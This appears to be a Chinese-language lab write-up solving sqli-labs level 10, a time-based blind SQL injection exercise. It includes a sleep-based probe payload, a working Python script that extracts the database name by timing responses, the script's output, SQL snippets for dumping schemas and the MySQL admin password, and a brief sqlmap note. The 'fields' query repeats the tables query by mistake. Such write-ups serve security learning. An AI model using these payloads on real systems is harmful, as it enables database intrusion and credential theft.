不知道为什么我用一句话木马上传的bool盲注都不行,想着能用sqlmap实现1-9,所以直接开了10

sqli-libs10是一个时间盲注

WP说选择时间盲注是因为

1
2
3
4
5
6
7
页面无显示位,不适合联合注入;

页面不显示数据库的报错信息,不适合报错注入;

查询的正确和错误不会影响页面的响应(后台写死了,只返回You are in...........),不适合布尔盲注;

综上所述,尝试使用时间盲注。

首先

1
?id=1" and if(1,sleep(5),3) -- a 

页面响应超过5秒,确定存在时间盲注

然后采用Python自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "“
# 猜解长度使用的payload
payload_len = """?id=1" and if(
(length(
(database())
) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1" and if(
(ascii(
substr(
(database())
,{n},1)
) ={r})
,sleep(5),3) -- a"""

# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
start_time = time.time()
response = requests.get(url= url+payload_len.format(n= length))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 响应时间>5秒时,表示猜解成功
if use_time > 5:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增

# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
正在测试长度: 1
正在测试长度: 2
正在测试长度: 3
正在测试长度: 4
正在测试长度: 5
正在测试长度: 6
正在测试长度: 7
测试长度完成,长度为: 8
第 1 个字符猜解成功: s
第 2 个字符猜解成功: se
第 3 个字符猜解成功: sec
第 4 个字符猜解成功: secu
第 5 个字符猜解成功: secur
第 6 个字符猜解成功: securi
第 7 个字符猜解成功: securit
第 8 个字符猜解成功: security

然后就知道在security库里面

P.S.

脱库常用SQL指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 获取所有数据库
(select group_concat(schema_name)
from information_schema.schemata)

# 获取 security 库的所有表
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")

# 获取 users 表的所有字段
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")

# 获取数据库管理员的密码
(select password
from mysql.user
where user="mituan")

需要的时候直接将Python脚本中的payload改了就行

用sqlmap

上来直接指定level2

其余的跟之前的一样,这里就不过多重复了